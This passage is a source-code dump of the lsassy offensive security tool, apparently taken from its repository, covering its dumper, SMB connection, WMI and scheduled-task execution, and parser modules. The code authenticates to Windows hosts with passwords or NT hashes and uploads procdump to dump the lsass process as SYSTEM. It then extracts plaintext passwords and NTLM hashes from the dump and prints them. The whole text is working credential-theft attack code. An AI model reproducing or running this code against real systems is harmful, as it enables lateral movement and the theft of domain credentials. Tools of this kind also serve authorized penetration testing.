exec_methods): 54 | """ 55 | Dump lsass with procdump 56 | :param exec_methods: If set, it will use specified execution method. Default to WMI, then TASK 57 | """ 58 | self._log.info("Using Procdump Method") 59 | # Verify procdump exists on host 60 | if not os.path.exists(self._procdump_path): 61 | self._log.error("{} does not exist.".format(self._procdump_path)) 62 | return False 63 | 64 | # Upload procdump 65 | self._log.debug('Copy {} to {}'.format(self._procdump_path, self._tmp_dir)) 66 | with open(self._procdump_path, 'rb') as procdump: 67 | self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read) 68 | 69 | # Dump lsass using PID 70 | command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma ^%B {}{}""".format( 71 | self._tmp_dir, self._procdump, self._tmp_dir, self._remote_lsass_dump 72 | ) 73 | self._log.debug('Dumping lsass.exe') 74 | 75 | exec_completed = False 76 | while not exec_completed: 77 | for m in exec_methods: 78 | try: 79 | self._log.debug("Trying exec method : " + m) 80 | self.exec_methods[m](self._conn, self._log).execute(command) 81 | exec_completed = True 82 | break 83 | except Exception as e: 84 | pass 85 | self._log.error("Could not dump lsass") 86 | exit(1) 87 | 88 | def clean(self): 89 | if self.dump_method is None: 90 | self._log.error("Nothing to clean") 91 | exit(1) 92 | 93 | try: 94 | # self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) 95 | self._log.success('Deleted lsass dump') 96 | except Exception as e: 97 | self._log.error('Error deleting lsass dump : {}'.format(e)) 98 | 99 | if self.dump_method == "procdump": 100 | # Delete procdump.exe 101 | try: 102 | self._conn.deleteFile(self._share, self._tmp_dir + self._procdump) 103 | self._log.success('Deleted procdump.exe') 104 | except Exception as e: 105 | self._log.error('Error deleting procdump.exe : {}'.format(e)) -------------------------------------------------------------------------------- /lsassy/impacketconnection.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import time, re, sys 7 | from impacket.smbconnection import SMBConnection, SessionError 8 | from impacket.smb3structs import FILE_READ_DATA 9 | from socket import getaddrinfo, gaierror 10 | from lsassy.log import Logger 11 | 12 | class ImpacketConnection: 13 | def __init__(self, conn=None, log=None): 14 | self._log = log if log is not None else Logger() 15 | self.hostname = "" 16 | self.username = "" 17 | self.domain_name = "" 18 | self.password = "" 19 | self.lmhash = "" 20 | self.nthash = "" 21 | self.conn = conn 22 | 23 | @staticmethod 24 | def from_args(arg, log): 25 | pattern = re.compile(r"^(?:(?P[a-zA-Z0-9._-]+)/)?(?P[^:/]+)(?::(?P.*))?@(?P[a-zA-Z0-9.-]+)$") 26 | matches = pattern.search(arg.target) 27 | if matches is None: 28 | raise Exception("{} is not valid. Expected format : [domain/]username[:password]@host".format(arg.target)) 29 | domain_name, username, password, hostname = matches.groups() 30 | if matches.group("domain_name") is None: 31 | domain_name = "." 32 | if matches.group("password") is None and arg.hashes is None: 33 | import getpass 34 | password = getpass.getpass(prompt='Password: ') 35 | 36 | if arg.hashes is not None: 37 | if ':' in arg.hashes: 38 | lmhash, nthash = arg.hashes.split(':') 39 | else: 40 | lmhash = 'aad3b435b51404eeaad3b435b51404ee' 41 | nthash = arg.hashes 42 | else: 43 | lmhash = '' 44 | nthash = '' 45 | return ImpacketConnection(log=log).login(hostname, domain_name, username, password, lmhash, nthash) 46 | 47 | def login(self, ip, domain_name, username, password, lmhash, nthash): 48 | try: 49 | ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0] 50 | except gaierror: 51 | raise Exception("No DNS found to resolve %s.\n" 52 | "Please make sure that your DNS settings can resolve %s" % (ip, ip)) 53 | 54 | self.hostname = ip 55 | self.domain_name = domain_name 56 | self.username = username 57 | self.password = password 58 | self.lmhash = lmhash 59 | self.nthash = nthash 60 | 61 | conn = SMBConnection(ip, ip) 62 | username = username.split("@")[0] 63 | self._log.debug("Authenticating against {}".format(ip)) 64 | try: 65 | conn.login(username, password, domain=domain_name, lmhash=lmhash, nthash=nthash, ntlmFallback=True) 66 | self._log.success("Authenticated") 67 | except SessionError as e: 68 | e_type, e_msg = e.getErrorString() 69 | self._log.error("{}: {}".format(e_type, e_msg)) 70 | self._log.debug("Provided credentials : {}\\{}:{}".format(domain_name, username, password)) 71 | sys.exit(1) 72 | except Exception as e: 73 | raise Exception("Unknown error : {}".format(e)) 74 | self.conn = conn 75 | return self 76 | 77 | def connectTree(self, share_name): 78 | return self.conn.connectTree(share_name) 79 | 80 | def openFile(self, tid, fpath): 81 | while True: 82 | try: 83 | fid = self.conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) 84 | self._log.debug("File {} opened".format(fpath)) 85 | return fid 86 | except Exception as e: 87 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: 88 | # Output not finished, let's wait 89 | time.sleep(2) 90 | else: 91 | raise Exception(e) 92 | 93 | def queryInfo(self, tid, fid): 94 | while True: 95 | try: 96 | info = self.conn.queryInfo(tid, fid) 97 | return info 98 | except Exception as e: 99 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: 100 | # Output not finished, let's wait 101 | time.sleep(2) 102 | else: 103 | raise Exception(e) 104 | 105 | 106 | def getFile(self, share_name, path_name, callback): 107 | while True: 108 | try: 109 | self.conn.getFile(share_name, path_name, callback) 110 | break 111 | except Exception as e: 112 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: 113 | # Output not finished, let's wait 114 | time.sleep(2) 115 | else: 116 | raise Exception(e) 117 | 118 | def deleteFile(self, share_name, path_name): 119 | while True: 120 | try: 121 | self.conn.deleteFile(share_name, path_name) 122 | self._log.debug("File {} deleted".format(path_name)) 123 | break 124 | except Exception as e: 125 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: 126 | time.sleep(2) 127 | else: 128 | raise Exception(e) 129 | 130 | def putFile(self, share_name, path_name, callback): 131 | try: 132 | self.conn.putFile(share_name, path_name, callback) 133 | self._log.debug("File {} uploaded".format(path_name)) 134 | except Exception as e: 135 | raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) 136 | 137 | def readFile(self, tid, fid, offset, size): 138 | return self.conn.readFile(tid, fid, offset, size, singleCall=False) 139 | 140 | def closeFile(self, tid, fid): 141 | return self.conn.closeFile(tid, fid) 142 | 143 | def close(self): 144 | self.conn.close() 145 | -------------------------------------------------------------------------------- /lsassy/impacketfile.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import re 7 | 8 | 9 | class ImpacketFile: 10 | def __init__(self, log): 11 | self._log = log 12 | self._conn = None 13 | self._fpath = None 14 | self._currentOffset = 0 15 | self._total_read = 0 16 | self._tid = None 17 | self._fid = None 18 | self._fileInfo = None 19 | self._endOfFile = None 20 | 21 | self._buffer_min_size = 1024 * 8 22 | self._buffer_data = { 23 | "offset": 0, 24 | "size": 0, 25 | "buffer": "" 26 | } 27 | 28 | def open(self, connection, path): 29 | share_name, fpath = self._parse_path(path) 30 | self._conn = connection 31 | self._fpath = fpath 32 | self._tid = self._conn.connectTree(share_name) 33 | self._fid = self._conn.openFile(self._tid, self._fpath) 34 | self._fileInfo = self._conn.queryInfo(self._tid, self._fid) 35 | self._endOfFile = self._fileInfo.fields["EndOfFile"] 36 | 37 | def __exit__(self, exc_type, exc_val, exc_tb): 38 | self._conn.close() 39 | 40 | def read(self, size): 41 | if size == 0: 42 | return b'' 43 | 44 | if (self._buffer_data["offset"] <= self._currentOffset <= self._buffer_data["offset"] + self._buffer_data["size"] 45 | and self._buffer_data["offset"] + self._buffer_data["size"] > self._currentOffset + size): 46 | value = self._buffer_data["buffer"][self._currentOffset - self._buffer_data["offset"]:self._currentOffset - self._buffer_data["offset"] + size] 47 | else: 48 | self._buffer_data["offset"] = self._currentOffset 49 | 50 | """ 51 | If data size is too small, read self._buffer_min_size bytes and cache them 52 | """ 53 | if size < self._buffer_min_size: 54 | value = self._conn.readFile(self._tid, self._fid, self._currentOffset, self._buffer_min_size) 55 | self._buffer_data["size"] = self._buffer_min_size 56 | self._total_read += self._buffer_min_size 57 | 58 | else: 59 | value = self._conn.readFile(self._tid, self._fid, self._currentOffset, size + self._buffer_min_size) 60 | self._buffer_data["size"] = size + self._buffer_min_size 61 | self._total_read += size 62 | 63 | self._buffer_data["buffer"] = value 64 | 65 | self._currentOffset += size 66 | 67 | return value[:size] 68 | 69 | def close(self): 70 | self._conn.closeFile(self._tid, self._fid) 71 | 72 | def seek(self, offset, whence=0): 73 | if whence == 0: 74 | self._currentOffset = offset 75 | elif whence == 1: 76 | self._currentOffset += offset 77 | elif whence == 2: 78 | self._currentOffset = self._endOfFile - offset 79 | else: 80 | raise Exception('Seek function whence value must be between 0-2') 81 | 82 | def tell(self): 83 | return self._currentOffset 84 | 85 | @staticmethod 86 | def _parse_path(fpath): 87 | pattern = re.compile(r"^(?P[^/]+)(?P/(?:[^/]*/)*[^/]+)$") 88 | matches = pattern.search(fpath) 89 | if matches is None: 90 | raise Exception("{} is not valid. Expected format : shareName/path/to/dump (c$/Windows/Temp/lsass.dmp)".format(fpath)) 91 | return matches.groups() 92 | -------------------------------------------------------------------------------- /lsassy/log.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import sys 7 | 8 | 9 | class Logger: 10 | def __init__(self, is_debug=False, is_quiet=False): 11 | self._is_debug = is_debug 12 | self._is_quiet = is_quiet 13 | 14 | def info(self, msg): 15 | if not self._is_quiet: 16 | msg = "\n ".join(msg.split("\n")) 17 | print("\033[1;34m[*]\033[0m {}".format(msg)) 18 | 19 | def debug(self, msg): 20 | if not self._is_quiet: 21 | if self._is_debug: 22 | msg = "\n ".join(msg.split("\n")) 23 | print("\033[1;37m[*]\033[0m {}".format(msg)) 24 | 25 | def warn(self, msg): 26 | if not self._is_quiet: 27 | msg = "\n ".join(msg.split("\n")) 28 | print("\033[1;33m[!]\033[0m {}".format(msg)) 29 | 30 | def error(self, msg): 31 | if not self._is_quiet: 32 | msg = "\n ".join(msg.split("\n")) 33 | print("\033[1;31m[X]\033[0m {}".format(msg), file=sys.stderr) 34 | 35 | def success(self, msg, force=False): 36 | if not self._is_quiet or force: 37 | msg = "\n ".join(msg.split("\n")) 38 | print("\033[1;32m[+]\033[0m {}".format(msg)) 39 | 40 | @staticmethod 41 | def highlight(msg): 42 | return "\033[1;33m{}\033[0m".format(msg) -------------------------------------------------------------------------------- /lsassy/parser.py: -------------------------------------------------------------------------------- 1 | import json 2 | from lsassy.log import Logger 3 | 4 | 5 | class Parser(): 6 | def __init__(self, pypydump, log): 7 | self._pypydump = pypydump 8 | self._log = log 9 | self._credentials = [] 10 | 11 | def _parse(self, raw=False): 12 | ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] 13 | for luid in self._pypydump.logon_sessions: 14 | 15 | for ssp in ssps: 16 | for cred in getattr(self._pypydump.logon_sessions[luid], ssp, []): 17 | domain = getattr(cred, "domainname", None) 18 | username = getattr(cred, "username", None) 19 | password = getattr(cred, "password", None) 20 | LMHash = getattr(cred, "LMHash", None) 21 | NThash = getattr(cred, "NThash", None) 22 | if LMHash is not None: 23 | LMHash = LMHash.hex() 24 | if NThash is not None: 25 | NThash = NThash.hex() 26 | # Remove empty password, machine accounts and buggy entries 27 | if raw: 28 | self._credentials.append([ssp, domain, username, password, LMHash, NThash]) 29 | elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) 30 | and username is not None 31 | and not username.endswith('$') 32 | and not username == ''): 33 | self._credentials.append((ssp, domain, username, password, LMHash, NThash)) 34 | 35 | def _decode(self, data): 36 | """ 37 | Ugly trick because of mixed content coming back from pypykatz 38 | Can be either string, bytes, None 39 | """ 40 | try: 41 | return data.decode('utf-8', 'backslashreplace') 42 | except: 43 | return data 44 | 45 | def output(self, args): 46 | self._parse(args.raw) 47 | if args.json: 48 | json_output = {} 49 | for cred in self._credentials: 50 | ssp, domain, username, password, lhmash, nthash = cred 51 | 52 | domain = self._decode(domain) 53 | username = self._decode(username) 54 | password = self._decode(password) 55 | 56 | if domain not in json_output: 57 | json_output[domain] = {} 58 | if username not in json_output[domain]: 59 | json_output[domain][username] = [] 60 | credential = { 61 | "password": password, 62 | "lmhash": lhmash, 63 | "nthash": nthash 64 | } 65 | if credential not in json_output[domain][username]: 66 | json_output[domain][username].append(credential) 67 | print(json.dumps(json_output), end='') 68 | elif args.grep: 69 | credentials = set() 70 | for cred in self._credentials: 71 | credentials.add(':'.join([self._decode(c) if c is not None else '' for c in cred])) 72 | for cred in credentials: 73 | print(cred) 74 | else: 75 | if len(self._credentials) == 0: 76 | self._log.error('No credentials found') 77 | return 0 78 | 79 | max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) 80 | credentials = [] 81 | for cred in self._credentials: 82 | ssp, domain, username, password, lhmash, nthash = cred 83 | domain = self._decode(domain) 84 | username = self._decode(username) 85 | password = self._decode(password) 86 | if password is None: 87 | password = ':'.join(h for h in [lhmash, nthash] if h is not None) 88 | if [domain, username, password] not in credentials: 89 | credentials.append([domain, username, password]) 90 | self._log.success( 91 | "{}\\{}{}{}".format( 92 | domain, 93 | username, 94 | " " * (max_size - len(domain) - len(username) + 2), 95 | Logger.highlight(password)), 96 | force=True 97 | ) 98 | -------------------------------------------------------------------------------- /lsassy/taskexe.py: -------------------------------------------------------------------------------- 1 | # Based on Impacket atexec implementation by @agsolino 2 | # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py 3 | 4 | from impacket.dcerpc.v5 import tsch, transport 5 | from impacket.dcerpc.v5.dtypes import NULL 6 | import time 7 | import random 8 | import string 9 | 10 | 11 | class TASK_EXEC: 12 | def __init__(self, conn, log): 13 | self._conn = conn 14 | self._log = log 15 | 16 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self._conn.hostname 17 | self._rpctransport = transport.DCERPCTransportFactory(stringbinding) 18 | 19 | if hasattr(self._rpctransport, 'set_credentials'): 20 | self._rpctransport.set_credentials(self._conn.username, self._conn.password, self._conn.domain_name, self._conn.lmhash, self._conn.nthash) 21 | 22 | def execute(self, command): 23 | dce = self._rpctransport.get_dce_rpc() 24 | 25 | dce.set_credentials(*self._rpctransport.get_credentials()) 26 | dce.connect() 27 | dce.bind(tsch.MSRPC_UUID_TSCHS) 28 | xml = self.gen_xml(command) 29 | tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) 30 | self._log.debug("Register random task {}".format(tmpName)) 31 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 32 | tsch.hSchRpcRun(dce, '\\%s' % tmpName) 33 | done = False 34 | while not done: 35 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) 36 | if resp['pLastRuntime']['wYear'] != 0: 37 | done = True 38 | else: 39 | time.sleep(2) 40 | 41 | time.sleep(3) 42 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 43 | dce.disconnect() 44 | 45 | def gen_xml(self, command): 46 | 47 | return """ 48 | 49 | 50 | 51 | 2015-07-15T20:35:13.2757294 52 | true 53 | 54 | 1 55 | 56 | 57 | 58 | 59 | 60 | S-1-5-18 61 | HighestAvailable 62 | 63 | 64 | 65 | IgnoreNew 66 | false 67 | false 68 | true 69 | false 70 | 71 | true 72 | false 73 | 74 | true 75 | true 76 | true 77 | false 78 | false 79 | P3D 80 | 7 81 | 82 | 83 | 84 | cmd.exe 85 | /C {} 86 | 87 | 88 | 89 | """.format(command) 90 | -------------------------------------------------------------------------------- /lsassy/wmi.py: -------------------------------------------------------------------------------- 1 | # Based on Impacket wmiexec implementation by @agsolino 2 | # https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/wmiexec.py 3 | 4 | import socket 5 | from impacket.dcerpc.v5.dcom import wmi 6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 7 | from impacket.dcerpc.v5.dtypes import NULL 8 | 9 | 10 | class WMI: 11 | def __init__(self, connexion, logger): 12 | self.conn = connexion 13 | self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0] 14 | self.log = logger 15 | self.win32Process = None 16 | self.buffer = "" 17 | self.dcom = None 18 | self._getwin32process() 19 | 20 | def _buffer_callback(self, data): 21 | self.buffer += str(data) 22 | 23 | def _getwin32process(self): 24 | self.log.debug("Trying to authenticate using {}\\{}:{}".format( 25 | self.conn.domain_name, 26 | self.conn.username, 27 | self.conn.password) 28 | ) 29 | self.dcom = DCOMConnection( 30 | self.conn.hostname, 31 | self.conn.username, 32 | self.conn.password, 33 | self.conn.domain_name, 34 | self.conn.lmhash, 35 | self.conn.nthash, 36 | None, 37 | oxidResolver=True, 38 | doKerberos=False 39 | ) 40 | try: 41 | iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) 42 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 43 | iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 44 | iWbemLevel1Login.RemRelease() 45 | self.win32Process, _ = iWbemServices.GetObject('Win32_Process') 46 | except Exception as e: 47 | raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) 48 | 49 | def execute(self, command): 50 | command = 'cmd.exe /Q /c ' + command 51 | self.log.debug("Command : %s" % command) 52 | self.win32Process.Create(command, "C:\\", None) 53 | self.dcom.disconnect() 54 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket 2 | pypykatz>=0.3.0 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com 5 | 6 | import pathlib 7 | from setuptools import setup, find_packages 8 | 9 | HERE = pathlib.Path(__file__).parent 10 | README = (HERE / "README.md").read_text() 11 | 12 | setup( 13 | name="lsassy", 14 | version="1.0.0", 15 | author="Pixis", 16 | author_email="hackndo@gmail.com", 17 | description="Python library to parse remote lsass dumps", 18 | long_description=README, 19 | long_description_content_type="text/markdown", 20 | packages=find_packages(exclude=["assets", "cme"]), 21 | include_package_data=True, 22 | url="https://github.com/hackanddo/lsassy", 23 | zip_safe = True, 24 | license="MIT", 25 | install_requires=[ 26 | 'impacket', 27 | 'pypykatz>=0.3.0' 28 | ], 29 | python_requires='>=3.6', 30 | classifiers=( 31 | "Programming Language :: Python :: 3.6", 32 | "Programming Language :: Python :: 3.7", 33 | "Programming Language :: Python :: 3.8", 34 | "Programming Language :: Python :: 3.9", 35 | "License :: OSI Approved :: MIT License", 36 | "Operating System :: OS Independent", 37 | ), 38 | entry_points={ 39 | 'console_scripts': [ 40 | 'lsassy = lsassy.__main__:run', 41 | ], 42 | } 43 | ) 44 | --------------------------------------------------------------------------------